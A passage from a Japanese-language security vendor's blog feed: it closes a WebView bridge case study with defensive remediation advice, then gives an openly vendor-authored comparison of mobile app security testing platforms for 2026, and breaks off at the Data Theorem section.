&lt;p&gt;これらの検出結果に対処するため、次の対応が推奨されました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アクセスの削除または制限：&lt;/strong&gt;ブリッジが不要であれば、&lt;code&gt;addJavascriptInterface&lt;/code&gt;のブロックを完全に削除する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;オリジンの検証：&lt;/strong&gt;ブリッジが必要な場合は、信頼できるドメインの厳格な許可リストを実装し（たとえば&lt;code&gt;SecureWebViewClient&lt;/code&gt;を使用）、メソッドの実行を許可する前に現在のオリジンを検証する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ディープリンクのサニタイズ：&lt;/strong&gt;&lt;code&gt;Activity2&lt;/code&gt;のディープリンクハンドラーを更新し、&lt;code&gt;javascript:&lt;/code&gt;または&lt;code&gt;data:&lt;/code&gt;スキームで始まるインテントデータを拒否する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;セキュリティの堅牢化の適用：&lt;/strong&gt;本番ビルドでのファイルアクセスやデバッグなど、不要なWebViewの機能を無効化し、全体的なアタックサーフェスを減らす。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5. 結論"&gt;5. 結論&lt;/h3&gt;
&lt;p&gt;本ケーススタディは、「安全に実装」されたブリッジであっても、外部からの入力にさらされたままにすると、重大なセキュリティリスクをもたらし得ることを示しています。インターフェースの発見から機能するソーシャルエンジニアリングのチェーンの作成に至るまで、攻撃者の論理的な進行を模倣することで、OstorlabのPentest Engineは、ハイブリッドインターフェースを安全にするために必要な決定的なエビデンスを提供しました。&lt;/p&gt;</content><category term="Security"/><category term="android"/><category term="webview"/><category term="pentest"/><category term="security"/><category term="mobile"/><category term="poc"/></entry><entry><title>モバイルアプリセキュリティテストに最適なプラットフォーム（2026年版）</title><link href="https://blog.ostorlab.co/ja/top-mobile-app-security-testing-platforms-2026.html" rel="alternate"/><published>2026-01-05T16:20:00+01:00</published><updated>2026-09-07T17:55:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-01-05:/ja/top-mobile-app-security-testing-platforms-2026.html</id><summary type="html">&lt;p&gt;Ostorlab、NowSecure、Appknox、Data Theorem、Quokka、Zimperium、MobSFをAndroidとiOSの観点で比較し、機能マトリクスとベンダーへの価値実証（PoV）の質問を紹介します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;モバイルパイプラインのセキュリティを評価しているDevSecOpsエンジニア、セキュリティチーム、CISOにとって、最適なモバイルアプリケーションセキュリティテストのプラットフォームは、組織が必要としているのが継続的なリリーススキャンなのか、コンプライアンスのエビデンスなのか、アプリベッティングなのか、能動的なエクスプロイト検証なのか、あるいは修復と再テストまでの支援なのかによって決まります。このガイドで評価する主要なプラットフォームは、Ostorlab、NowSecure、Appknox、Data Theorem、Quokka Q-mast、Zimperium zScan、MobSFです。&lt;/p&gt;
&lt;p&gt;これらを、AndroidとiOSのカバレッジ、静的テストと動的テスト、バックエンドAPIのテスト、エビデンスの質、修復の支援、デプロイモデル、そしてエージェント型か人間主導の評価かという観点で比較します。&lt;/p&gt;
&lt;p&gt;この比較のために確認した公開文書上の機能の範囲では、Ostorlabは、エージェント型のモバイルペネトレーションテスト、実行時の概念実証（PoC）による検証、アセットをまたいだ脆弱性の連鎖、そして修復後の検証において際立っています。&lt;/p&gt;
&lt;h3 id="編集方針に関する開示"&gt;編集方針に関する開示&lt;/h3&gt;
&lt;p&gt;このガイドはOstorlabが公開しています。すべてのベンダーを同じ基準で評価し、各社自身の公開文書にリンクしています。当社は、検出率、スキャン速度、カスタマーサポート、誤検知（フォールスポジティブ）率について独自のベンチマークは行っていません。そのため、ベンダーが公表している性能に関する主張は、プラットフォームの順位付けには使用していません。機能の最終確認日は2026年9月7日です。&lt;/p&gt;
&lt;h2 id="2026年の最適なmastプラットフォーム(比較の概要)"&gt;2026年の最適なMASTプラットフォーム（比較の概要）&lt;/h2&gt;
&lt;p&gt;各プラットフォームは、モバイルアプリケーションセキュリティに異なる方向からアプローチしています。この比較では、各社が公開文書で示している重点領域を説明し、購入者が価値実証（proof of value）を通じて確認すべき質問を挙げます。競合他社に宣伝目的の「〇〇に最適」といった評価を与えることはしません。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;プラットフォーム&lt;/th&gt;
&lt;th style="text-align: left;"&gt;公開文書上の重点領域&lt;/th&gt;
&lt;th style="text-align: left;"&gt;購入者が確認すべきこと&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動化された静的・動的モバイルテスト、バックエンドAPIのテスト、エージェント型のワークフロー探索、実行時のエクスプロイト検証、アセットをまたいだ脆弱性の連鎖、修復、修正の検証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プラットフォームが代表的なワークフローを操作し、悪用可能性を検証し、再現可能なエビデンスを保持し、検出結果を修復と検証まで追跡できるかどうか&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;NowSecure&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;エンタープライズ向けの連携とガバナンス機能に支えられた、コンパイル済みアプリケーションの解析と物理端末上での自動テスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;提案されたパッケージに、AI支援型、自動化、コンプライアンス、モニタリング、ペネトレーションテストのどの機能が含まれているか&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Appknox&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自動化されたバイナリ解析、実機での動的テスト、APIテスト、アプリストアのモニタリング、手動のペネトレーションテストサービス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;どの機能が自動かつ継続的に動作し、どの機能に別途アナリストによる案件が必要か&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Data Theorem&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;API、クラウド環境、コード、アプリケーション保護を含む幅広いポートフォリオの中でのモバイルアプリケーション解析&lt;/td&gt;
&lt;td style="text-align: left;"&gt;モバイル製品とAPI製品がどのようにパッケージ化されているか、またAPIのカバレッジに能動的なテストが含まれるのか、それとも主に発見とトラフィック解析なのか&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Quokka Q-mast&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;バイナリファーストのAndroid・iOSテスト、プライバシー解析、コンプライアンスチェック、ソフトウェアサプライチェーンの可視化、隣接するアプリベッティング機能&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証が必要なワークフローのカバレッジ、能動的なAPIテストの深さ、Q-mastとQ-scoutの区別&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Zimperium zScan&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーションの堅牢化と実行時保護も含む、より広いポートフォリオの中でのモバイルアプリケーションスキャン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;どの機能がzScanに属し、どの機能に別途シールディング、実行時保護、ソフトウェア開発キット（SDK）の製品が必要か&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;MobSF&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;自己管理型のセキュリティワークフローや研究環境向けの、オープンソースの静的・動的モバイルアプリケーション解析&lt;/td&gt;
&lt;td style="text-align: left;"&gt;導入するチームが用意しなければならないインフラ、端末へのアクセス、保守、トリアージ、連携、ガバナンス、専門知識&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;意味のある違いは、プラットフォームが重要なアプリケーションのワークフローに到達できるか、弱点が悪用可能かどうかを判断できるか、開発者が再現できるエビデンスを生成できるか、そしてその後の修正によってリスクが解消されたことを確認できるかどうかです。&lt;/p&gt;
&lt;h2 id="モバイルアプリケーションセキュリティテストとは"&gt;モバイルアプリケーションセキュリティテストとは&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;モバイルアプリケーションセキュリティテスト&lt;/strong&gt;（MAST）は、クライアントのバイナリと接続先のバックエンドAPIを対象に、静的解析、動的解析、および関連するテスト手法を通じて、モバイルアプリケーションのセキュリティとプライバシーを評価するものです。ソースコードやコンパイル済みバイナリ、実行時の挙動、ローカルストレージ、プラットフォームとのやり取り、ネットワークトラフィック、サードパーティSDK、そしてアプリケーションが使用するバックエンドのエンドポイントを調べます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://mas.owasp.org/MASTG/"&gt;OWASP Mobile Application Security Testing Guide&lt;/a&gt;では、モバイルアプリケーションセキュリティテストを静的解析と動的解析を包括する用語として用いており、評価は一般にクライアント・サーバーのアーキテクチャやサーバー側のAPIにまで及ぶと説明しています。&lt;a href="https://mas.owasp.org/MASVS/"&gt;OWASP Mobile Application Security Verification Standard&lt;/a&gt;は、モバイルのセキュリティコントロールのベースラインを提供しています。&lt;/p&gt;
&lt;p&gt;MASTを一般的なモバイルの品質保証と混同すべきではありません。UIの回帰テスト、アクセシビリティ、バッテリー消費、パフォーマンスのテストでは、攻撃者が認証を悪用できるか、シークレットを取り出せるか、アプリケーションを改ざんできるか、データを傍受できるか、APIを悪用できるか、システム全体にまたがって弱点を連鎖させられるかはわかりません。&lt;/p&gt;
&lt;p&gt;MASTは、以下とも区別する必要があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RASPまたはアプリ内保護&lt;/strong&gt;：実行中のアプリケーションに防御を追加するもの&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;モバイル脅威防御（MTD）&lt;/strong&gt;：モバイルの脅威から端末とユーザーを保護するもの&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;アプリベッティング&lt;/strong&gt;：組織が従業員の端末での利用を許可する可能性のあるサードパーティアプリケーションを評価するもの&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;仮想デバイスプラットフォーム&lt;/strong&gt;：テスト用の環境を提供するが、管理されたMASTのワークフロー一式は含まない場合があるもの&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらのカテゴリの複数にまたがって事業を展開するベンダーもあります。それでも購入者は、テスト、保護、運用の各レイヤーを個別に評価すべきです。&lt;/p&gt;
&lt;h2 id="2026年にmastプラットフォームで確認すべきポイント"&gt;2026年にMASTプラットフォームで確認すべきポイント&lt;/h2&gt;
&lt;p&gt;信頼できるMASTの評価は、機能リストの長さではなく、セキュリティ上の成果から始めるべきです。&lt;/p&gt;
&lt;h3 id="androidとiosのカバレッジ"&gt;AndroidとiOSのカバレッジ&lt;/h3&gt;
&lt;p&gt;プラットフォームが、自社が配布しているOS、ビルド形式、バージョン、フレームワークに対応していることを確認します。クロスプラットフォームのアプリケーションについては、ネイティブのカバレッジが自動的にそれらにも及ぶと想定するのではなく、Flutter、React Native、.NET MAUIなどのフレームワークへの対応を確認してください。&lt;/p&gt;
&lt;h3 id="静的解析、バイナリ解析、ソフトウェアサプライチェーン解析"&gt;静的解析、バイナリ解析、ソフトウェアサプライチェーン解析&lt;/h3&gt;
&lt;p&gt;リリース成果物には、埋め込まれたシークレット、脆弱な設定、脆弱な依存関係、リスクのあるSDK、権限、エンタイトルメント、パッケージング時に入り込んだコードが含まれている可能性があります。プラットフォームがAPK、AAB、IPAファイルから何を把握できるか、そしてSBOMやそれに相当する依存関係のビューを提供するかを確認します。&lt;/p&gt;
&lt;h3 id="意味のあるワークフローの動的カバレッジ"&gt;意味のあるワークフローの動的カバレッジ&lt;/h3&gt;
&lt;p&gt;動的スキャナーが観察できるのは、到達した経路だけです。どのアプリケーションの状態とワークフローが実行されたか、認証がどのように扱われたか、実行時やネットワークのどのような挙動が観察されたかを、ベンダーに実証させてください。&lt;/p&gt;
&lt;h3 id="バックエンドとapiのコンテキスト"&gt;バックエンドとAPIのコンテキスト&lt;/h3&gt;
&lt;p&gt;モバイルアプリケーションは、より大きなシステムのクライアントです。有用なプラットフォームは、アプリケーションの挙動をその背後にあるエンドポイントと結び付けるべきです。購入者は、エンドポイントのインベントリや受動的なトラフィック解析と、能動的で認可されたAPIテストとを区別すべきです。&lt;/p&gt;
&lt;h3 id="実証、検証、再現性"&gt;実証、検証、再現性&lt;/h3&gt;
&lt;p&gt;重大度のラベルは、悪用可能性の実証ではありません。質の高い検出結果には、影響を受けるコンポーネント、実施したテスト、観察された挙動、裏付けとなるトラフィックや実行時のエビデンス、再現の手引き、そして問題を悪用するために必要な条件が記載されています。&lt;/p&gt;
&lt;h3 id="修復と再テスト"&gt;修復と再テスト&lt;/h3&gt;
&lt;p&gt;ワークフローは検出の後も続くべきです。開発者向けのガイダンス、チケット管理やソース管理との連携、担当者管理の機能、修正の支援、そして影響を受けた挙動を再テストする能力を評価します。チケットをクローズすることは、修正を検証することと同じではありません。&lt;/p&gt;
&lt;h3 id="ci/cdと運用モデル"&gt;CI/CDと運用モデル&lt;/h3&gt;
&lt;p&gt;スキャンがどのようにトリガーされるか、同時に進む複数のリリースがどう扱われるか、テストインフラがどこで動作するか、どのような認証情報が必要か、そして検出結果がどのように開発者に届くかを確認します。あわせて、データの保持期間、AIの使用量、スキャンの上限、デプロイの選択肢、別料金のモジュールも確認してください。&lt;/p&gt;
&lt;h3 id="検証可能なセキュリティタスクを実行するai"&gt;検証可能なセキュリティタスクを実行するAI&lt;/h3&gt;
&lt;p&gt;「AIを活用した」という表現は、比較のカテゴリとして役立つには広すぎます。そのシステムが、アプリケーションのワークフローを操作するのか、テストを選択するのか、エビデンスを相関付けるのか、疑わしい脆弱性を検証するのか、エクスプロイトチェーンを構築するのか、修正を提案するのか、それとも他所で生成された検出結果を要約するだけなのかを尋ねてください。&lt;/p&gt;
&lt;p&gt;AI支援型のセキュリティタスクの出力は、レビュー可能かつ再現可能であり続けるべきです。&lt;/p&gt;
&lt;h2 id="主要なmastツールを機能ごとに比較する"&gt;主要なMASTツールを機能ごとに比較する&lt;/h2&gt;
&lt;p&gt;この比較では、4つの用語を使用します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;対応&lt;/strong&gt;：各社自身の公開資料に、該当プラットフォームの機能として記載されている&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;限定的&lt;/strong&gt;：その機能に実質的な範囲や環境の制約がある、または完全な能動的テストを伴わずに可視性のみを提供する&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;アドオン/サービス&lt;/strong&gt;：ベンダーが、別の製品、モジュール、または人によるサービスとしてその機能を提供している&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;公開文書なし&lt;/strong&gt;：その機能を確認できるだけの、各社自身による最新情報が見つからなかった。これは、その機能が必ずしも存在しないことを意味するものではない&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;機能&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ostorlab&lt;/th&gt;
&lt;th style="text-align: left;"&gt;NowSecure&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Appknox&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Data Theorem&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Quokka Q-mast&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Zimperium zScan&lt;/th&gt;
&lt;th style="text-align: left;"&gt;MobSF&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;AndroidとiOSの解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;自動化された静的解析またはバイナリ解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;動的解析または実行時の解析&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;CI/CDをトリガーとするテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;能動的なバックエンドまたはAPIのテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アドオン/サービス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;限定的&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;人によるマネージドペネトレーションテスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アドオン/サービス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アドオン/サービス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;実行時のPoCエビデンスを伴うエージェント型のエクスプロイト検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;アセットをまたいだ脆弱性の連鎖&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;対応&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開文書なし&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;公開文書や製品のパッケージは変わる可能性があります。また、エンタープライズ契約には、公開されている製品ページに記載されていない機能が含まれている場合もあります。このマトリクスは候補を絞り込むために使い、そのうえで各ベンダーに同じアプリケーション、ワークフロー、受け入れ基準でテストさせてください。&lt;/p&gt;
&lt;h2 id="ostorlabは従来のmastプラットフォームと何が違うのか"&gt;Ostorlabは従来のMASTプラットフォームと何が違うのか&lt;/h2&gt;
&lt;p&gt;Ostorlabが公開文書で示している差別化要素は、テスト、エクスプロイトの検証、アセットをまたいだ調査、修復の検証を結び付けている点です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;アプリケーションのワークフロー探索&lt;/strong&gt;：&lt;a href="https://docs.ostorlab.co/tutorials/mobile_deep_agentic_scan.html"&gt;Mobile Deep Agentic Scan&lt;/a&gt;は、AIに導かれたインタラクションを用いてアプリケーションのワークフローを探索し、ロジックの脆弱性を調査します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;実行時のエクスプロイト検証&lt;/strong&gt;：疑わしい脆弱性は、理論上の弱点として提示されるだけでなく、実行時の概念実証エビデンスによって検証できます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;アセットをまたいだ調査&lt;/strong&gt;：&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html"&gt;Multi Asset Deep Agentic Scan&lt;/a&gt;は、モバイル、Web、API、ネットワーク、ソースコード、補助ファイルの各アセットにまたがる関係を調査します。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;修復の検証&lt;/strong&gt;：Ostorlabは、検出結果をチケット管理やCI/CDのワークフロー、AI支援型のコード提案、修正済みの検出結果の検証と結び付けます。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの機能は、セキュリティライフサイクルの異なる段階に対応しています。それでも、価値実証の期間中に購入者自身のアプリケーションで実証されるべきです。&lt;/p&gt;
&lt;h2 id="主要なmastベンダーの個別評価"&gt;主要なMASTベンダーの個別評価&lt;/h2&gt;
&lt;h3 id="ostorlab"&gt;Ostorlab&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/solutions/secure_mobile_app"&gt;Ostorlab&lt;/a&gt;は、継続的なモバイルアプリケーションセキュリティテストと、自動検出から検証済みの悪用、修復、再テストまでの道筋を提供します。&lt;/p&gt;
&lt;p&gt;標準のモバイル&lt;strong&gt;Full Scan&lt;/strong&gt;は、静的解析、動的解析、バックエンドAPIのファジング、シークレット検出、通信セキュリティの解析を組み合わせたものです。Ostorlabは、利用可能なプロファイルを&lt;a href="https://docs.ostorlab.co/tutorials/mobile_scan_profiles.html"&gt;モバイルスキャンプロファイルのガイド&lt;/a&gt;で文書化しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mobile Shielding Scan&lt;/strong&gt;は、難読化、改ざん防止、アンチデバッグ、root/ジェイルブレイク検知、および関連する保護など、アプリケーション保護の制御を検証します。Full Scanとは別のプロファイルで、&lt;a href="https://docs.ostorlab.co/tutorials/mobile_shielding_scan.html"&gt;Mobile Shielding Scanのガイド&lt;/a&gt;で文書化されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mobile Deep Agentic Scan&lt;/strong&gt;は、AIに導かれたワークフロー探索を用いて、ロジックの脆弱性を調査し、関連する弱点を連鎖させ、実行時の概念実証エビデンスを通じて検出結果を検証します。アプリケーションの挙動とエクスプロイト経路を探索するため、その目的は標準的な自動スキャンとは異なります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Multi Asset Deep Agentic Scan&lt;/strong&gt;は、モバイルアプリケーションを、Webアプリケーション、API、ネットワークアセット、ソースコードリポジトリ、アーカイブ、補助ファイルとあわせて調査できます。アセットの境界をまたぐ関係や脆弱性の連鎖を特定するよう設計されています。&lt;/p&gt;
&lt;p&gt;Ostorlabはさらに、検出結果をCI/CDやチケット管理との連携、開発者がレビューできるAI支援型のコード提案、修正の検証と結び付けています。&lt;/p&gt;
&lt;div style="background-color: #f8fbff; border: 1px solid #c8e1ff; border-left: 4px solid #2f83f7; border-radius: 8px; padding: 24px; margin: 24px 0;"&gt;
&lt;h4 id="ostorlabの概要" style="margin-top: 0; margin-bottom: 16px; color: #0969da; font-size: 1.25rem;"&gt;Ostorlabの概要&lt;/h4&gt;
&lt;ul style="margin: 0; padding-left: 20px; line-height: 1.8;"&gt;
&lt;li&gt;&lt;strong&gt;主な用途：&lt;/strong&gt;自律型・エージェント型のモバイルペネトレーションテスト、アセットをまたいだエクスプロイト検証、修復、再テスト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ：&lt;/strong&gt;クラウド（オプションでOn-Premises Scannerも利用可能）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full Scan：&lt;/strong&gt;静的解析、動的解析、バックエンドAPIのファジング、シークレット検出、通信セキュリティの解析&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mobile Shielding Scan：&lt;/strong&gt;難読化、改ざん防止、アンチデバッグ、root/ジェイルブレイク検知、および関連する保護の検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mobile Deep Agentic Scan：&lt;/strong&gt;AIに導かれたワークフロー探索、ロジックの脆弱性の発見、脆弱性の連鎖、実行時の概念実証による検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multi Asset Deep Agentic Scan：&lt;/strong&gt;モバイル、Web、API、ネットワーク、ソースコード、補助ファイルの各アセットにまたがる調査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修復と修正の検証：&lt;/strong&gt;CI/CDとチケット管理の連携、AI支援型のコード提案、修正済みの検出結果の検証&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;確認すべきこと&lt;/strong&gt;：代表的なワークフローでエージェント型スキャンをテストし、得られた検出結果について再現可能なエビデンスを求めてください。必要なプラン、端末のカバレッジ、デプロイモデル、データの所在地、認証情報の取り扱い、データ保持の要件を確認します。&lt;/p&gt;
&lt;h3 id="nowsecure"&gt;NowSecure&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.nowsecure.com/platform/"&gt;NowSecure Platform&lt;/a&gt;は、物理端末上でのコンパイル済みモバイルアプリケーションの継続的な解析に重点を置いています。公開資料では、バイナリ解析、認証済みの状態での端末上の実行、ネットワークとストレージの挙動の観察、エビデンスの相関付け、開発システムやガバナンスシステムとの連携について説明しています。&lt;/p&gt;
&lt;p&gt;NowSecureは、AI支援型のアプリケーションナビゲーションのための&lt;a href="https://www.nowsecure.com/blog/2024/09/17/nowsecure-ai-navigator/"&gt;AI Navigator&lt;/a&gt;と、&lt;a href="https://www.nowsecure.com/services/penetration-testing/"&gt;モバイルペネトレーションテストサービス&lt;/a&gt;を別途文書化しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべきこと&lt;/strong&gt;：提案されたパッケージに、自動テスト、AI支援型のナビゲーション、コンプライアンス、モニタリング、ペネトレーションテストのどの機能が含まれているかを確認します。ワークフローのカバレッジと、開発者に提供されるエビデンスの実演を求めてください。&lt;/p&gt;
&lt;h3 id="appknox"&gt;Appknox&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.appknox.com/"&gt;Appknox&lt;/a&gt;は、自動化されたバイナリの静的アプリケーションセキュリティテスト（SAST）、実機での動的アプリケーションセキュリティテスト（DAST）、APIテスト、SBOM解析、アプリストアのモニタリング、CI/CDとの連携、手動のペネトレーションテストサービスを公開しています。&lt;/p&gt;
&lt;p&gt;自動テストとアナリストが提供するサービスとでは運用モデルが異なるため、購入者はそれらを個別に評価すべきです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべきこと&lt;/strong&gt;：DAST、APIテスト、SBOM解析、ストアのモニタリング、手動のペネトレーションテストの利用権を確認します。どのテストが継続的に動作し、どのテストに別途アナリストによる案件が必要かを確認してください。&lt;/p&gt;
&lt;h3 id="data theorem"&gt;Data Theorem&lt;/h3&gt;
